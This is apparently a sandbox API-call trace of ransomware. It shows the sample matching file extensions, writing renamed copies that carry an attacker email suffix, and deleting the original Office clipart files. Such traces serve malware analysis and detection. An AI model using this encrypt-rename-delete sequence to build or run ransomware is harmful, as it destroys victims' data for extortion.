(lpString1=".xls", lpString2=".WMF") returned 1 [0269.465] lstrlenW (lpString=".xlsx") returned 5 [0269.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.465] lstrlenW (lpString=".ppt") returned 4 [0269.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.466] lstrlenW (lpString=".zip") returned 4 [0269.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.466] lstrlenW (lpString=".rar") returned 4 [0269.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.466] lstrlenW (lpString=".bz2") returned 4 [0269.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.466] lstrlenW (lpString=".7z") returned 3 [0269.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.466] lstrlenW (lpString=".dbf") returned 4 [0269.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.467] lstrlenW (lpString=".1cd") returned 4 [0269.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0269.467] lstrlenW (lpString=".jpg") returned 4 [0269.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.468] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.468] lstrlenW (lpString="BL00525_.WMF") returned 12 [0269.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.484] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9590) returned 1 [0269.485] CloseHandle (hObject=0x39c) returned 1 [0269.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0269.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0269.487] GetLastError () returned 0x0 [0269.487] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2576, lpOverlapped=0x0) returned 1 [0269.492] WriteFile (in: hFile=0x3a4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0269.496] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.496] WriteFile (in: hFile=0x3a4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.497] SetEndOfFile (hFile=0x3a4) returned 1 [0269.497] CloseHandle (hObject=0x3a4) returned 1 [0269.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.498] SetEndOfFile (hFile=0x39c) returned 1 [0269.506] CloseHandle (hObject=0x39c) returned 1 [0269.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0269.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.508] lstrlenW (lpString=".doc") returned 4 [0269.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.508] lstrlenW (lpString=".docx") returned 5 [0269.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.508] lstrlenW (lpString=".pdf") returned 4 [0269.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.508] lstrlenW (lpString=".xls") returned 4 [0269.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.509] lstrlenW (lpString=".xlsx") returned 5 [0269.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.509] lstrlenW (lpString=".ppt") returned 4 [0269.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.509] lstrlenW (lpString=".zip") returned 4 [0269.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.509] lstrlenW (lpString=".rar") returned 4 [0269.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.509] lstrlenW (lpString=".bz2") returned 4 [0269.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.510] lstrlenW (lpString=".7z") returned 3 [0269.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.510] lstrlenW (lpString=".dbf") returned 4 [0269.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.510] lstrlenW (lpString=".1cd") returned 4 [0269.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.510] lstrlenW (lpString=".jpg") returned 4 [0269.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.511] lstrlenW (lpString=".doc") returned 4 [0269.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.511] lstrlenW (lpString=".docx") returned 5 [0269.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.511] lstrlenW (lpString=".pdf") returned 4 [0269.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.511] lstrlenW (lpString=".xls") returned 4 [0269.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.511] lstrlenW (lpString=".xlsx") returned 5 [0269.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.512] lstrlenW (lpString=".ppt") returned 4 [0269.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.512] lstrlenW (lpString=".zip") returned 4 [0269.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.512] lstrlenW (lpString=".rar") returned 4 [0269.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.512] lstrlenW (lpString=".bz2") returned 4 [0269.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.512] lstrlenW (lpString=".7z") returned 3 [0269.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.513] lstrlenW (lpString=".dbf") returned 4 [0269.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.513] lstrlenW (lpString=".1cd") returned 4 [0269.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0269.513] lstrlenW (lpString=".jpg") returned 4 [0269.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.822] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.822] lstrlenW (lpString="BL00526_.WMF") returned 12 [0269.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.823] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27552) returned 1 [0269.823] CloseHandle (hObject=0x39c) returned 1 [0269.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0269.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.824] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.824] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0269.825] GetLastError () returned 0x0 [0269.825] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0270.015] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0270.020] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.020] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.020] SetEndOfFile (hFile=0x1cc) returned 1 [0270.020] CloseHandle (hObject=0x1cc) returned 1 [0270.021] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.021] SetEndOfFile (hFile=0x39c) returned 1 [0270.030] CloseHandle (hObject=0x39c) returned 1 [0270.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0270.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.186] lstrlenW (lpString=".doc") returned 4 [0270.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.187] lstrlenW (lpString=".docx") returned 5 [0270.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.187] lstrlenW (lpString=".pdf") returned 4 [0270.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.187] lstrlenW (lpString=".xls") returned 4 [0270.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.187] lstrlenW (lpString=".xlsx") returned 5 [0270.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.187] lstrlenW (lpString=".ppt") returned 4 [0270.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.187] lstrlenW (lpString=".zip") returned 4 [0270.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.187] lstrlenW (lpString=".rar") returned 4 [0270.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.187] lstrlenW (lpString=".bz2") returned 4 [0270.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.188] lstrlenW (lpString=".7z") returned 3 [0270.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.188] lstrlenW (lpString=".dbf") returned 4 [0270.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.188] lstrlenW (lpString=".1cd") returned 4 [0270.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.188] lstrlenW (lpString=".jpg") returned 4 [0270.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.189] lstrlenW (lpString=".doc") returned 4 [0270.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.189] lstrlenW (lpString=".docx") returned 5 [0270.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.189] lstrlenW (lpString=".pdf") returned 4 [0270.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.189] lstrlenW (lpString=".xls") returned 4 [0270.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.189] lstrlenW (lpString=".xlsx") returned 5 [0270.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.189] lstrlenW (lpString=".ppt") returned 4 [0270.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.190] lstrlenW (lpString=".zip") returned 4 [0270.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.190] lstrlenW (lpString=".rar") returned 4 [0270.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.190] lstrlenW (lpString=".bz2") returned 4 [0270.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.190] lstrlenW (lpString=".7z") returned 3 [0270.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.190] lstrlenW (lpString=".dbf") returned 4 [0270.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.191] lstrlenW (lpString=".1cd") returned 4 [0270.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0270.191] lstrlenW (lpString=".jpg") returned 4 [0270.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.191] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.191] lstrlenW (lpString="BOAT.WMF") returned 8 [0270.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.192] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3350) returned 1 [0270.192] CloseHandle (hObject=0x3cc) returned 1 [0270.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0270.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.193] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.194] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.195] GetLastError () returned 0x0 [0270.195] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0xd16, lpOverlapped=0x0) returned 1 [0270.511] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0270.516] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.516] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0270.516] SetEndOfFile (hFile=0x384) returned 1 [0270.517] CloseHandle (hObject=0x384) returned 1 [0270.517] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.517] SetEndOfFile (hFile=0x3cc) returned 1 [0270.526] CloseHandle (hObject=0x3cc) returned 1 [0270.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0270.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.578] lstrlenW (lpString=".doc") returned 4 [0270.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.578] lstrlenW (lpString=".docx") returned 5 [0270.578] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0270.578] lstrlenW (lpString=".pdf") returned 4 [0270.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.579] lstrlenW (lpString=".xls") returned 4 [0270.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.579] lstrlenW (lpString=".xlsx") returned 5 [0270.579] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0270.579] lstrlenW (lpString=".ppt") returned 4 [0270.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.579] lstrlenW (lpString=".zip") returned 4 [0270.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.579] lstrlenW (lpString=".rar") returned 4 [0270.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.579] lstrlenW (lpString=".bz2") returned 4 [0270.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.580] lstrlenW (lpString=".7z") returned 3 [0270.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.580] lstrlenW (lpString=".dbf") returned 4 [0270.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.580] lstrlenW (lpString=".1cd") returned 4 [0270.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.580] lstrlenW (lpString=".jpg") returned 4 [0270.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.581] lstrlenW (lpString=".doc") returned 4 [0270.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.581] lstrlenW (lpString=".docx") returned 5 [0270.581] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0270.581] lstrlenW (lpString=".pdf") returned 4 [0270.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.581] lstrlenW (lpString=".xls") returned 4 [0270.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.582] lstrlenW (lpString=".xlsx") returned 5 [0270.582] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0270.582] lstrlenW (lpString=".ppt") returned 4 [0270.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.582] lstrlenW (lpString=".zip") returned 4 [0270.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.582] lstrlenW (lpString=".rar") returned 4 [0270.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") 